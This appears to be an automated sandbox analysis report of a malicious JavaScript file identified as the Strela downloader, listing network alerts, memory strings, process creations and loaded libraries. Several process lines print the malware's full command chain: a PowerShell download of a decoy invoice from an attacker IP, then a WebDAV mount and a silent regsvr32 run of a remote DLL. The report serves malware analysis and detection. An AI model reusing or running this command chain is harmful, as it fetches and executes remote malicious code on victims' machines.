Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49765 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1387032390.0000024EA476E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1460323460.0000016924D48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1460323460.0000016924CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 00000007.00000002.1460323460.0000016924D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: svchost.exe, 00000009.00000002.2664973621.0000021F38C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1469624595.0000021F38AF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7692, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16529230753138817875.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01fcb0jh.i2z.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 16529230753138817875.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1528,i,14731378578711747176,15541432942492927159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1528,i,14731378578711747176,15541432942492927159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
